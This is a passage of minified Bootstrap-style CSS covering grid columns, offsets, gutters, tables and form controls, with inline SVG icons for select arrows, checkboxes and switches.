(min-width:1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-text,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:textfield}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none!important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:calc(1.625rem + 4.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-1{font-size:5rem}}.display-2{font-size:calc(1.575rem + 3.9vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-2{font-size:4.5rem}}.display-3{font-size:calc(1.525rem + 3.3vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-3{font-size:4rem}}.display-4{font-size:calc(1.475rem + 2.7vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-4{font-size:3.5rem}}.display-5{font-size:calc(1.425rem + 2.1vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-5{font-size:3rem}}.display-6{font-size:calc(1.375rem + 1.5vw);font-weight:300;line-height:1.2}@media (min-width:1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid var(--bs-border-color);border-radius:.375rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:.875em;color:#6c757d}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{--bs-gutter-x:1.5rem;--bs-gutter-y:0;width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}@media (min-width:1400px){.container,.container-lg,.container-md,.container-sm,.container-xl,.container-xxl{max-width:1320px}}.row{--bs-gutter-x:1.5rem;--bs-gutter-y:0;display:flex;flex-wrap:wrap;margin-top:calc(-1 * var(--bs-gutter-y));margin-right:calc(-.5 * var(--bs-gutter-x));margin-left:calc(-.5 * var(--bs-gutter-x))}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x) * .5);padding-left:calc(var(--bs-gutter-x) * .5);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0%}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.6666666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x:0}.g-0,.gy-0{--bs-gutter-y:0}.g-1,.gx-1{--bs-gutter-x:0.25rem}.g-1,.gy-1{--bs-gutter-y:0.25rem}.g-2,.gx-2{--bs-gutter-x:0.5rem}.g-2,.gy-2{--bs-gutter-y:0.5rem}.g-3,.gx-3{--bs-gutter-x:1rem}.g-3,.gy-3{--bs-gutter-y:1rem}.g-4,.gx-4{--bs-gutter-x:1.5rem}.g-4,.gy-4{--bs-gutter-y:1.5rem}.g-5,.gx-5{--bs-gutter-x:3rem}.g-5,.gy-5{--bs-gutter-y:3rem}@media (min-width:576px){.col-sm{flex:1 0 0%}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.6666666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x:0}.g-sm-0,.gy-sm-0{--bs-gutter-y:0}.g-sm-1,.gx-sm-1{--bs-gutter-x:0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y:0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x:0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y:0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x:1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y:1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x:1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y:1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x:3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y:3rem}}@media (min-width:768px){.col-md{flex:1 0 0%}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.6666666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x:0}.g-md-0,.gy-md-0{--bs-gutter-y:0}.g-md-1,.gx-md-1{--bs-gutter-x:0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y:0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x:0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y:0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x:1rem}.g-md-3,.gy-md-3{--bs-gutter-y:1rem}.g-md-4,.gx-md-4{--bs-gutter-x:1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y:1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x:3rem}.g-md-5,.gy-md-5{--bs-gutter-y:3rem}}@media (min-width:992px){.col-lg{flex:1 0 0%}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.6666666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x:0}.g-lg-0,.gy-lg-0{--bs-gutter-y:0}.g-lg-1,.gx-lg-1{--bs-gutter-x:0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y:0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x:0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y:0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x:1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y:1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x:1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y:1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x:3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y:3rem}}@media (min-width:1200px){.col-xl{flex:1 0 0%}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x:0}.g-xl-0,.gy-xl-0{--bs-gutter-y:0}.g-xl-1,.gx-xl-1{--bs-gutter-x:0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y:0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x:0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y:0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x:1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y:1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x:1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y:1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x:3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y:3rem}}@media (min-width:1400px){.col-xxl{flex:1 0 0%}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.3333333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.6666666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x:0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y:0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x:0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y:0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x:0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y:0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x:1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y:1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x:1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y:1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x:3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y:3rem}}.table{--bs-table-color:var(--bs-body-color);--bs-table-bg:transparent;--bs-table-border-color:var(--bs-border-color);--bs-table-accent-bg:transparent;--bs-table-striped-color:var(--bs-body-color);--bs-table-striped-bg:rgba(0, 0, 0, 0.05);--bs-table-active-color:var(--bs-body-color);--bs-table-active-bg:rgba(0, 0, 0, 0.1);--bs-table-hover-color:var(--bs-body-color);--bs-table-hover-bg:rgba(0, 0, 0, 0.075);width:100%;margin-bottom:1rem;color:var(--bs-table-color);vertical-align:top;border-color:var(--bs-table-border-color)}.table>:not(caption)>*>*{padding:.5rem .5rem;background-color:var(--bs-table-bg);border-bottom-width:1px;box-shadow:inset 0 0 0 9999px var(--bs-table-accent-bg)}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table-group-divider{border-top:2px solid currentcolor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:1px 0}.table-bordered>:not(caption)>*>*{border-width:0 1px}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-borderless>:not(:first-child){border-top-width:0}.table-striped>tbody>tr:nth-of-type(odd)>*{--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-striped-columns>:not(caption)>tr>:nth-child(2n){--bs-table-accent-bg:var(--bs-table-striped-bg);color:var(--bs-table-striped-color)}.table-active{--bs-table-accent-bg:var(--bs-table-active-bg);color:var(--bs-table-active-color)}.table-hover>tbody>tr:hover>*{--bs-table-accent-bg:var(--bs-table-hover-bg);color:var(--bs-table-hover-color)}.table-primary{--bs-table-color:#000;--bs-table-bg:#cfe2ff;--bs-table-border-color:#bacbe6;--bs-table-striped-bg:#c5d7f2;--bs-table-striped-color:#000;--bs-table-active-bg:#bacbe6;--bs-table-active-color:#000;--bs-table-hover-bg:#bfd1ec;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-secondary{--bs-table-color:#000;--bs-table-bg:#e2e3e5;--bs-table-border-color:#cbccce;--bs-table-striped-bg:#d7d8da;--bs-table-striped-color:#000;--bs-table-active-bg:#cbccce;--bs-table-active-color:#000;--bs-table-hover-bg:#d1d2d4;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-success{--bs-table-color:#000;--bs-table-bg:#d1e7dd;--bs-table-border-color:#bcd0c7;--bs-table-striped-bg:#c7dbd2;--bs-table-striped-color:#000;--bs-table-active-bg:#bcd0c7;--bs-table-active-color:#000;--bs-table-hover-bg:#c1d6cc;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-info{--bs-table-color:#000;--bs-table-bg:#cff4fc;--bs-table-border-color:#badce3;--bs-table-striped-bg:#c5e8ef;--bs-table-striped-color:#000;--bs-table-active-bg:#badce3;--bs-table-active-color:#000;--bs-table-hover-bg:#bfe2e9;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-warning{--bs-table-color:#000;--bs-table-bg:#fff3cd;--bs-table-border-color:#e6dbb9;--bs-table-striped-bg:#f2e7c3;--bs-table-striped-color:#000;--bs-table-active-bg:#e6dbb9;--bs-table-active-color:#000;--bs-table-hover-bg:#ece1be;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-danger{--bs-table-color:#000;--bs-table-bg:#f8d7da;--bs-table-border-color:#dfc2c4;--bs-table-striped-bg:#eccccf;--bs-table-striped-color:#000;--bs-table-active-bg:#dfc2c4;--bs-table-active-color:#000;--bs-table-hover-bg:#e5c7ca;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-light{--bs-table-color:#000;--bs-table-bg:#f8f9fa;--bs-table-border-color:#dfe0e1;--bs-table-striped-bg:#ecedee;--bs-table-striped-color:#000;--bs-table-active-bg:#dfe0e1;--bs-table-active-color:#000;--bs-table-hover-bg:#e5e6e7;--bs-table-hover-color:#000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-dark{--bs-table-color:#fff;--bs-table-bg:#212529;--bs-table-border-color:#373b3e;--bs-table-striped-bg:#2c3034;--bs-table-striped-color:#fff;--bs-table-active-bg:#373b3e;--bs-table-active-color:#fff;--bs-table-hover-bg:#323539;--bs-table-hover-color:#fff;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-responsive{overflow-x:auto;-webkit-overflow-scrolling:touch}@media (max-width:575.98px){.table-responsive-sm{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:767.98px){.table-responsive-md{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:991.98px){.table-responsive-lg{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1199.98px){.table-responsive-xl{overflow-x:auto;-webkit-overflow-scrolling:touch}}@media (max-width:1399.98px){.table-responsive-xxl{overflow-x:auto;-webkit-overflow-scrolling:touch}}.form-label{margin-bottom:.5rem}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem}.form-text{margin-top:.25rem;font-size:.875em;color:#6c757d}.form-control{display:block;width:100%;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:.375rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control[type=file]{overflow:hidden}.form-control[type=file]:not(:disabled):not([readonly]){cursor:pointer}.form-control:focus{color:#212529;background-color:#fff;border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-control::-webkit-date-and-time-value{height:1.5em}.form-control::-moz-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled{background-color:#e9ecef;opacity:1}.form-control::-webkit-file-upload-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;-webkit-transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}.form-control::file-selector-button{padding:.375rem .75rem;margin:-.375rem -.75rem;-webkit-margin-end:.75rem;margin-inline-end:.75rem;color:#212529;background-color:#e9ecef;pointer-events:none;border-color:inherit;border-style:solid;border-width:0;border-inline-end-width:1px;border-radius:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control::-webkit-file-upload-button{-webkit-transition:none;transition:none}.form-control::file-selector-button{transition:none}}.form-control:hover:not(:disabled):not([readonly])::-webkit-file-upload-button{background-color:#dde0e3}.form-control:hover:not(:disabled):not([readonly])::file-selector-button{background-color:#dde0e3}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext:focus{outline:0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{min-height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;border-radius:.25rem}.form-control-sm::-webkit-file-upload-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-sm::file-selector-button{padding:.25rem .5rem;margin:-.25rem -.5rem;-webkit-margin-end:.5rem;margin-inline-end:.5rem}.form-control-lg{min-height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;border-radius:.5rem}.form-control-lg::-webkit-file-upload-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}.form-control-lg::file-selector-button{padding:.5rem 1rem;margin:-.5rem -1rem;-webkit-margin-end:1rem;margin-inline-end:1rem}textarea.form-control{min-height:calc(1.5em + .75rem + 2px)}textarea.form-control-sm{min-height:calc(1.5em + .5rem + 2px)}textarea.form-control-lg{min-height:calc(1.5em + 1rem + 2px)}.form-control-color{width:3rem;height:calc(1.5em + .75rem + 2px);padding:.375rem}.form-control-color:not(:disabled):not([readonly]){cursor:pointer}.form-control-color::-moz-color-swatch{border:0!important;border-radius:.375rem}.form-control-color::-webkit-color-swatch{border-radius:.375rem}.form-control-color.form-control-sm{height:calc(1.5em + .5rem + 2px)}.form-control-color.form-control-lg{height:calc(1.5em + 1rem + 2px)}.form-select{display:block;width:100%;padding:.375rem 2.25rem .375rem .75rem;-moz-padding-start:calc(0.75rem - 3px);font-size:1rem;font-weight:400;line-height:1.5;color:#212529;background-color:#fff;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right .75rem center;background-size:16px 12px;border:1px solid #ced4da;border-radius:.375rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-select{transition:none}}.form-select:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-select[multiple],.form-select[size]:not([size="1"]){padding-right:.75rem;background-image:none}.form-select:disabled{background-color:#e9ecef}.form-select:-moz-focusring{color:transparent;text-shadow:0 0 0 #212529}.form-select-sm{padding-top:.25rem;padding-bottom:.25rem;padding-left:.5rem;font-size:.875rem;border-radius:.25rem}.form-select-lg{padding-top:.5rem;padding-bottom:.5rem;padding-left:1rem;font-size:1.25rem;border-radius:.5rem}.form-check{display:block;min-height:1.5rem;padding-left:1.5em;margin-bottom:.125rem}.form-check .form-check-input{float:left;margin-left:-1.5em}.form-check-reverse{padding-right:1.5em;padding-left:0;text-align:right}.form-check-reverse .form-check-input{float:right;margin-right:-1.5em;margin-left:0}.form-check-input{width:1em;height:1em;margin-top:.25em;vertical-align:top;background-color:#fff;background-repeat:no-repeat;background-position:center;background-size:contain;border:1px solid rgba(0,0,0,.25);-webkit-appearance:none;-moz-appearance:none;appearance:none;-webkit-print-color-adjust:exact;color-adjust:exact;print-color-adjust:exact}.form-check-input[type=checkbox]{border-radius:.25em}.form-check-input[type=radio]{border-radius:50%}.form-check-input:active{filter:brightness(90%)}.form-check-input:focus{border-color:#86b7fe;outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25)}.form-check-input:checked{background-color:#0d6efd;border-color:#0d6efd}.form-check-input:checked[type=checkbox]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='m6 10 3 3 6-6'/%3e%3c/svg%3e")}.form-check-input:checked[type=radio]{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23fff'/%3e%3c/svg%3e")}.form-check-input[type=checkbox]:indeterminate{background-color:#0d6efd;border-color:#0d6efd;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23fff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e")}.form-check-input:disabled{pointer-events:none;filter:none;opacity:.5}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{cursor:default;opacity:.5}.form-switch{padding-left:2.5em}.form-switch .form-check-input{width:2em;margin-left:-2.5em;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e");background-position:left center;border-radius:2em;transition:background-position .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-switch .form-check-input{transition:none}}.form-switch .form-check-input:focus{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 